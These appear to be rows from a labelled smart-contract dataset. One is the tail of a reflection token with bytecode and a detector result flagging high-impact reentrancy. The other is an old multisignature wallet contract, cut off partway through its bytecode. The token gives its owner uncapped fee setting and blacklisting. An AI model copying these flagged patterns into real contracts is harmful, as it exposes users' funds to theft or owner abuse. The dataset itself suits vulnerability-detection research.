uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104e9578063dd62ed3e14610509578063ea1644d51461054f578063f2fde38b1461056f57600080fd5b8063a2a957bb14610464578063a9059cbb14610484578063bfd79284146104a4578063c3c8cd80146104d457600080fd5b80638f70ccf7116100d15780638f70ccf71461040e5780638f9a55c01461042e57806395d89b41146101f357806398a5c3151461044457600080fd5b806374010ece146103ba5780637d1db4a5146103da5780638da5cb5b146103f057600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103505780636fc3eaec1461037057806370a0823114610385578063715018a6146103a557600080fd5b8063313ce567146102f457806349bd5a5e146103105780636b9990531461033057600080fd5b80631694505e116101a05780631694505e1461026157806318160ddd1461029957806323b872dd146102be5780632fd689e3146102de57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023157600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461192f565b61058f565b005b3480156101ff57600080fd5b506040805180820182526006815265444f4745594360d01b6020820152905161022891906119f4565b60405180910390f35b34801561023d57600080fd5b5061025161024c366004611a49565b61062e565b6040519015158152602001610228565b34801561026d57600080fd5b50601454610281906001600160a01b031681565b6040516001600160a01b039091168152602001610228565b3480156102a557600080fd5b50670de0b6b3a76400005b604051908152602001610228565b3480156102ca57600080fd5b506102516102d9366004611a75565b610645565b3480156102ea57600080fd5b506102b060185481565b34801561030057600080fd5b5060405160098152602001610228565b34801561031c57600080fd5b50601554610281906001600160a01b031681565b34801561033c57600080fd5b506101f161034b366004611ab6565b6106ae565b34801561035c57600080fd5b506101f161036b366004611ae3565b6106f9565b34801561037c57600080fd5b506101f1610741565b34801561039157600080fd5b506102b06103a0366004611ab6565b61078c565b3480156103b157600080fd5b506101f16107ae565b3480156103c657600080fd5b506101f16103d5366004611afe565b610822565b3480156103e657600080fd5b506102b060165481565b3480156103fc57600080fd5b506000546001600160a01b0316610281565b34801561041a57600080fd5b506101f1610429366004611ae3565b610851565b34801561043a57600080fd5b506102b060175481565b34801561045057600080fd5b506101f161045f366004611afe565b610899565b34801561047057600080fd5b506101f161047f366004611b17565b6108c8565b34801561049057600080fd5b5061025161049f366004611a49565b610906565b3480156104b057600080fd5b506102516104bf366004611ab6565b60106020526000908152604090205460ff1681565b3480156104e057600080fd5b506101f1610913565b3480156104f557600080fd5b506101f1610504366004611b49565b610967565b34801561051557600080fd5b506102b0610524366004611bcd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055b57600080fd5b506101f161056a366004611afe565b610a08565b34801561057b57600080fd5b506101f161058a366004611ab6565b610a37565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016105b990611c06565b60405180910390fd5b60005b815181101561062a576001601060008484815181106105e6576105e6611c3b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062281611c67565b9150506105c5565b5050565b600061063b338484610b21565b5060015b92915050565b6000610652848484610c45565b6106a4843361069f85604051806060016040528060288152602001611d81602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611181565b610b21565b5060019392505050565b6000546001600160a01b031633146106d85760405162461bcd60e51b81526004016105b990611c06565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107235760405162461bcd60e51b81526004016105b990611c06565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061077657506013546001600160a01b0316336001600160a01b0316145b61077f57600080fd5b47610789816111bb565b50565b6001600160a01b03811660009081526002602052604081205461063f90611240565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105b990611c06565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084c5760405162461bcd60e51b81526004016105b990611c06565b601655565b6000546001600160a01b0316331461087b5760405162461bcd60e51b81526004016105b990611c06565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016105b990611c06565b601855565b6000546001600160a01b031633146108f25760405162461bcd60e51b81526004016105b990611c06565b600893909355600a91909155600955600b55565b600061063b338484610c45565b6012546001600160a01b0316336001600160a01b0316148061094857506013546001600160a01b0316336001600160a01b0316145b61095157600080fd5b600061095c3061078c565b9050610789816112c4565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016105b990611c06565b60005b82811015610a025781600560008686858181106109b3576109b3611c3b565b90506020020160208101906109c89190611ab6565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109fa81611c67565b915050610994565b50505050565b6000546001600160a01b03163314610a325760405162461bcd60e51b81526004016105b990611c06565b601755565b6000546001600160a01b03163314610a615760405162461bcd60e51b81526004016105b990611c06565b6001600160a01b038116610ac65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610be45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b60008111610d6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b9565b6000546001600160a01b03848116911614801590610d9957506000546001600160a01b03838116911614155b1561107a57601554600160a01b900460ff16610e32576000546001600160a01b03848116911614610e325760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b9565b601654811115610e845760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b9565b6001600160a01b03831660009081526010602052604090205460ff16158015610ec657506001600160a01b03821660009081526010602052604090205460ff16155b610f1e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b9565b6015546001600160a01b03838116911614610fa35760175481610f408461078c565b610f4a9190611c82565b10610fa35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b9565b6000610fae3061078c565b601854601654919250821015908210610fc75760165491505b808015610fde5750601554600160a81b900460ff16155b8015610ff857506015546001600160a01b03868116911614155b801561100d5750601554600160b01b900460ff165b801561103257506001600160a01b03851660009081526005602052604090205460ff16155b801561105757506001600160a01b03841660009081526005602052604090205460ff16155b1561107757611065826112c4565b47801561107557611075476111bb565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110bc57506001600160a01b03831660009081526005602052604090205460ff165b806110ee57506015546001600160a01b038581169116148015906110ee57506015546001600160a01b03848116911614155b156110fb57506000611175565b6015546001600160a01b03858116911614801561112657506014546001600160a01b03848116911614155b1561113857600854600c55600954600d555b6015546001600160a01b03848116911614801561116357506014546001600160a01b03858116911614155b1561117557600a54600c55600b54600d555b610a028484848461143e565b600081848411156111a55760405162461bcd60e51b81526004016105b991906119f4565b5060006111b28486611c9a565b95945050505050565b6012546001600160a01b03166108fc6111d583600261146c565b6040518115909202916000818181858888f193505050501580156111fd573d6000803e3d6000fd5b506013546001600160a01b03166108fc61121883600261146c565b6040518115909202916000818181858888f1935050505015801561062a573d6000803e3d6000fd5b60006006548211156112a75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b9565b60006112b16114ae565b90506112bd838261146c565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130c5761130c611c3b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611365573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113899190611cb1565b8160018151811061139c5761139c611c3b565b6001600160a01b0392831660209182029290920101526014546113c29130911684610b21565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fb908590600090869030904290600401611cce565b600060405180830381600087803b15801561141557600080fd5b505af1158015611429573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144b5761144b6114d1565b6114568484846114ff565b80610a0257610a02600e54600c55600f54600d55565b60006112bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f6565b60008060006114bb611624565b90925090506114ca828261146c565b9250505090565b600c541580156114e15750600d54155b156114e857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151187611664565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154390876116c1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115729086611703565b6001600160a01b03891660009081526002602052604090205561159481611762565b61159e84836117ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e391815260200190565b60405180910390a3505050505050505050565b600081836116175760405162461bcd60e51b81526004016105b991906119f4565b5060006111b28486611d3f565b6006546000908190670de0b6b3a764000061163f828261146c565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006116818a600c54600d546117d0565b92509250925060006116916114ae565b905060008060006116a48e878787611825565b919e509c509a509598509396509194505050505091939550919395565b60006112bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611181565b6000806117108385611c82565b9050838110156112bd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b9565b600061176c6114ae565b9050600061177a8383611875565b306000908152600260205260409020549091506117979082611703565b30600090815260026020526040902055505050565b6006546117b990836116c1565b6006556007546117c99082611703565b6007555050565b60008080806117ea60646117e48989611875565b9061146c565b905060006117fd60646117e48a89611875565b905060006118158261180f8b866116c1565b906116c1565b9992985090965090945050505050565b60008080806118348886611875565b905060006118428887611875565b905060006118508888611875565b905060006118628261180f86866116c1565b939b939a50919850919650505050505050565b6000826118845750600061063f565b60006118908385611d61565b90508261189d8583611d3f565b146112bd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b9565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461078957600080fd5b803561192a8161190a565b919050565b6000602080838503121561194257600080fd5b823567ffffffffffffffff8082111561195a57600080fd5b818501915085601f83011261196e57600080fd5b813581811115611980576119806118f4565b8060051b604051601f19603f830116810181811085821117156119a5576119a56118f4565b6040529182528482019250838101850191888311156119c357600080fd5b938501935b828510156119e8576119d98561191f565b845293850193928501926119c8565b98975050505050505050565b600060208083528351808285015260005b81811015611a2157858101830151858201604001528201611a05565b81811115611a33576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5c57600080fd5b8235611a678161190a565b946020939093013593505050565b600080600060608486031215611a8a57600080fd5b8335611a958161190a565b92506020840135611aa58161190a565b929592945050506040919091013590565b600060208284031215611ac857600080fd5b81356112bd8161190a565b8035801515811461192a57600080fd5b600060208284031215611af557600080fd5b6112bd82611ad3565b600060208284031215611b1057600080fd5b5035919050565b60008060008060808587031215611b2d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5e57600080fd5b833567ffffffffffffffff80821115611b7657600080fd5b818601915086601f830112611b8a57600080fd5b813581811115611b9957600080fd5b8760208260051b8501011115611bae57600080fd5b602092830195509350611bc49186019050611ad3565b90509250925092565b60008060408385031215611be057600080fd5b8235611beb8161190a565b91506020830135611bfb8161190a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7b57611c7b611c51565b5060010190565b60008219821115611c9557611c95611c51565b500190565b600082821015611cac57611cac611c51565b500390565b600060208284031215611cc357600080fd5b81516112bd8161190a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1e5784516001600160a01b031683529383019391830191600101611cf9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7b57611d7b611c51565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208060bbb411da3fc65eb67f1f71463ba4b2831134b485f5c34bf0f085711c8f3d64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 145 |
0x68e38da087c9b85e2d7f088394f0cde445e66024 | pragma solidity 0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="87f4f3e2e1e6e9a9e0e2e8f5e0e2c7e4e8e9f4e2e9f4fef4a9e9e2f3">[email protected]</a>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="493a3d2c2f2827672e2c263b2e2c092a26273a2c273a303a67272c3d">[email protected]</a>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
return dailyLimit - spentToday;
}
} | 0x606060405236156101325760e060020a6000350463025e7c278114610180578063173825d9146101b257806320ea8d86146101df5780632f54bf6e146102135780633411c81c146102335780634bc9fdc214610260578063547415251461028357806367eeba0c146102f75780636b0c932d146103055780637065cb4814610313578063784547a71461033e5780638b51d13f1461034e5780639ace38c2146103c2578063a0e67e2b146103fd578063a8abe69a1461046e578063b5dc40c31461054d578063b77bf60014610659578063ba51a6df14610667578063c01a8c8414610693578063c6427474146106a3578063cea0862114610714578063d74f8edd1461073f578063dc8452cd1461074c578063e20056e61461075a578063ee22610b1461078a578063f059cf2b1461079a575b6107a8600034111561017e57604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b565b34610002576107aa60043560038054829081101561000257600091825260209091200154600160a060020a0316905081565b34610002576107a8600435600030600160a060020a031633600160a060020a0316141515610a1a57610002565b34610002576107a8600435600160a060020a033390811660009081526002602052604090205460ff161515610c5f57610002565b34610002576107c660043560026020526000908152604090205460ff1681565b34610002576001602090815260043560009081526040808220909252602435815220546107c69060ff1681565b34610002576107da6007546000906201518001421115610d0f5750600654610d18565b34610002576107da6004356024356000805b600554811015610d1b578380156102be575060008181526020819052604090206003015460ff16155b806102e257508280156102e2575060008181526020819052604090206003015460ff165b156102ef57600191909101905b600101610295565b34610002576107da60065481565b34610002576107da60075481565b34610002576107a860043530600160a060020a031633600160a060020a0316141515610d2257610002565b34610002576107c6600435610801565b34610002576107da6004356000805b600354811015610e52576000838152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156103ba57600191909101905b60010161035d565b34610002576000602081905260043581526040902080546001820154600383015461087993600160a060020a03909316926002019060ff1684565b346100025760408051602080820183526000825260038054845181840281018401909552808552610923949283018282801561046257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610444575b50505050509050610d18565b34610002576109236004356024356044356064356040805160208181018352600080835283519182018452808252600554935192939192909182918059106104b35750595b9080825280602002602001820160405280156104ca575b509250600091508190505b600554811015610e58578580156104fe575060008181526020819052604090206003015460ff16155b806105225750848015610522575060008181526020819052604090206003015460ff165b156105455780838381518110156100025760209081029091010152600191909101905b6001016104d5565b34610002576109236004356040805160208181018352600080835283519182018452808252600354935192939192909182918059106105895750595b9080825280602002602001820160405280156105a0575b509250600091508190505b600354811015610ecd576000858152600160205260408120600380549192918490811015610002576000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561065157600380548290811015610002576000918252602090912001548351600160a060020a03909116908490849081101561000257600160a060020a03909216602092830290910190910152600191909101905b6001016105ab565b34610002576107da60055481565b34610002576107a86004355b30600160a060020a031633600160a060020a0316141515610f4957610002565b34610002576107a8600435610974565b3461000257604080516020600460443581810135601f81018490048402850184019095528484526107da948235946024803595606494929391909201918190840183828082843750949650505050505050600061096d848484600083600160a060020a0381161515610b6157610002565b34610002576107a860043530600160a060020a031633600160a060020a031614151561101457610002565b34610002576107da603281565b34610002576107da60045481565b34610002576107a8600435602435600030600160a060020a031633600160a060020a031614151561104f57610002565b34610002576107a86004356109f7565b34610002576107da60085481565b005b60408051600160a060020a039092168252519081900360200190f35b604080519115158252519081900360200190f35b60408051918252519081900360200190f35b60008481